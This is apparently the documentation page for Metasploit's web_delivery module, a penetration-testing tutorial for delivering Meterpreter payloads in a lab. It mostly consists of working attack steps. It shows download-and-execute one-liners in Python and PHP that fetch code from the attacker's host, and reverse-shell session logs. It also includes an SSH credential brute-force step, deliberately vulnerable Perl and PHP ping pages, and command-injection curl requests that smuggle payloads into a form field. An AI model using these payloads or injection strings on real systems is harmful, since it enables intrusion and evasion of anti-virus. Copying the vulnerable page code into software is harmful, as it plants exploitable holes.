339 lines
15 KiB
Markdown
339 lines
15 KiB
Markdown
## Introduction
|
|
|
|
The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections.
|
|
|
|
The web_delivery module supports three different languages for delivery: Python, PHP, and
|
|
Powershell. You should manually select the correct target based on the victim environment you are exploiting.
|
|
|
|
For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well.
|
|
|
|
|
|
## Verification Steps
|
|
|
|
To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation:
|
|
|
|
1. Start msfconsole
|
|
2. Run: ```use exploit/multi/script/web_delivery```
|
|
3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
|
|
4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
|
|
5. Run: ```set LHOST IP``` (The IP the payload should connect back to)
|
|
6. Do: ```run```
|
|
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
|
|
8. Copy the command. Depending on your pentesting scenario, you can either inject the
|
|
command into a vulnerable application, or run it from the target's shell and get a session:
|
|
|
|
```
|
|
msf exploit(web_delivery) > run
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.1:4444
|
|
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
|
|
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));"
|
|
[*] Delivering Payload
|
|
[*] Sending stage (33684 bytes) to 192.168.2.134
|
|
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600
|
|
```
|
|
|
|
## Targets
|
|
|
|
**Python**
|
|
|
|
Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well.
|
|
|
|
**PHP**
|
|
|
|
PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal.
|
|
|
|
**Powershell/Windows**
|
|
|
|
Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component.
|
|
|
|
## Scenarios
|
|
|
|
**Against a compromised web application**
|
|
|
|
web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be:
|
|
|
|
1. Start exploit/multi/script/web_delivery
|
|
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
|
|
3. If the modified HTTP/HTTPS request is successful, you should get a session.
|
|
|
|
**Shell upgrade**
|
|
|
|
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done:
|
|
|
|
1. Start `exploit/multi/script/web_delivery` that generates the command to inject.
|
|
2. Interact with the shell, and copy/paste the command.
|
|
3. You should get a Meterpreter session.
|
|
|
|
An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through `auxialiary/scanner/ssh/ssh_login`, and then upgraded via `web_delivery`.
|
|
|
|
```
|
|
msf > use auxiliary/scanner/ssh/ssh_login
|
|
msf auxiliary(ssh_login) > set rhosts 192.168.2.156
|
|
rhosts => 192.168.2.156
|
|
msf auxiliary(ssh_login) > set username ubuntu
|
|
username => ubuntu
|
|
msf auxiliary(ssh_login) > set password ubuntu
|
|
password => ubuntu
|
|
msf auxiliary(ssh_login) > run
|
|
|
|
[*] SSH - Starting bruteforce
|
|
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
|
[!] No active DB -- Credential data will not be saved!
|
|
[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500
|
|
[*] Scanned 1 of 1 hosts (100% complete)
|
|
[*] Auxiliary module execution completed
|
|
msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery
|
|
msf exploit(web_delivery) > set lhost 192.168.2.117
|
|
lhost => 192.168.2.117
|
|
msf exploit(web_delivery) > run
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/DovbvqRaB
|
|
[*] Local IP: http://192.168.2.117:8080/DovbvqRaB
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
|
|
msf exploit(web_delivery) > sessions -i 1
|
|
[*] Starting interaction with 1...
|
|
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
|
|
[*] 192.168.2.156 web_delivery - Delivering Payload
|
|
[*] Sending stage (38500 bytes) to 192.168.2.156
|
|
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500
|
|
|
|
^Z
|
|
Background session 1? [y/N] y
|
|
|
|
msf exploit(web_delivery) > sessions -i 2
|
|
[*] Starting interaction with 2...
|
|
|
|
meterpreter > sysinfo
|
|
Computer : Ubuntu14
|
|
OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
|
|
Architecture : x64
|
|
Meterpreter : python/linux
|
|
meterpreter >
|
|
```
|
|
|
|
## Vulnerable Pages
|
|
|
|
### Perl cgi
|
|
|
|
These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial.
|
|
|
|
#### Setup
|
|
|
|
In this example, we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused a similar manner.
|
|
|
|
1. Enable cgi: `a2enmod cgid`
|
|
2. `mkdir /var/www/cgi-bin`
|
|
3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
|
|
4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`:
|
|
|
|
```
|
|
#!/usr/bin/perl
|
|
use CGI qw(:standard);
|
|
$query = new CGI;
|
|
print $query->header( -type=> "text/html"),
|
|
$query->start_html();
|
|
$query->import_names( 'Q' );
|
|
if ( $Q::ip ) {
|
|
print `ping -c 1 $Q::ip`, "<hr>";
|
|
}
|
|
print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED),
|
|
$query->p("Enter IP to ping:"),
|
|
$query->textfield(-name=>"ip"), #, -id=>"ip"),
|
|
$query->submit(-name=>"submit"),
|
|
$query->end_form(),
|
|
$query->end_html();
|
|
```
|
|
|
|
5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl`
|
|
|
|
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
|
|
|
|
`curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
|
|
|
|
or via GET request:
|
|
|
|
`curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit"` (note url encoding)
|
|
|
|
```
|
|
<!DOCTYPE html
|
|
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
|
|
<head>
|
|
<title>Untitled Document</title>
|
|
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
|
|
</head>
|
|
<body>
|
|
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
|
|
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
|
|
|
|
--- 127.0.0.1 ping statistics ---
|
|
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
|
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
|
|
www-data
|
|
<hr><form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping"><p>Enter IP to ping:</p><input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### Exploitation
|
|
|
|
1. `use exploit/multi/script/web_delivery`
|
|
2. `set lhost 192.168.2.117`
|
|
3. `exploit`
|
|
```
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/vNPlsjE
|
|
[*] Local IP: http://192.168.2.117:8080/vNPlsjE
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
|
|
msf exploit(web_delivery) >
|
|
```
|
|
Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful.
|
|
```
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (38500 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500
|
|
```
|
|
|
|
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
|
|
```
|
|
msf exploit(web_delivery) > exploit
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
|
|
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
|
|
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
|
|
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
|
|
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (38500 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500
|
|
100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233
|
|
100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit
|
|
msf exploit(web_delivery) > sessions -l
|
|
|
|
Active sessions
|
|
===============
|
|
|
|
Id Type Information Connection
|
|
-- ---- ----------- ----------
|
|
4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)
|
|
```
|
|
|
|
### PHP
|
|
|
|
In this example we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.
|
|
|
|
1. Enable cgi: `a2enmod php7.0`
|
|
2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`:
|
|
|
|
```
|
|
<html>
|
|
<body>
|
|
<?php
|
|
if ($_POST["ip"]){
|
|
print( shell_exec('ping -c 1 '.$_POST["ip"]) . "<hr>");
|
|
}
|
|
print("<form method=\"post\"
|
|
action=\"/example.php\"
|
|
enctype=\"application/x-www-form-urlencoded\"
|
|
name=\"ping\">
|
|
<p>Enter IP to ping:</p><input type=\"text\" name=\"ip\" value=\"\" />
|
|
<input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
|
|
?>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
|
|
|
|
`curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
|
|
|
|
```
|
|
<html>
|
|
<body>
|
|
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
|
|
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
|
|
|
|
--- 127.0.0.1 ping statistics ---
|
|
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
|
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
|
|
www-data
|
|
<hr><form method="post"
|
|
action="/example.php"
|
|
enctype="application/x-www-form-urlencoded"
|
|
name="ping">
|
|
<p>Enter IP to ping:</p><input type="text" name="ip" value="" />
|
|
<input type="submit" name="submit" value="submit" /></form> </body>
|
|
</html>
|
|
```
|
|
|
|
### Exploitation
|
|
|
|
1. `use exploit/multi/script/web_delivery`
|
|
2. `set lhost 192.168.2.117`
|
|
3. `set target 1`
|
|
4. `set payload php/meterpreter/reverse_tcp`
|
|
5. `exploit`
|
|
```
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/de3uw0
|
|
[*] Local IP: http://192.168.2.117:8080/de3uw0
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
|
|
msf exploit(web_delivery) >
|
|
```
|
|
Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful.
|
|
```
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (33986 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500
|
|
```
|
|
|
|
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
|
|
```
|
|
msf exploit(web_delivery) > exploit
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
|
|
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
|
|
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
|
|
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
|
|
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (33986 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
|
|
100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit
|
|
```
|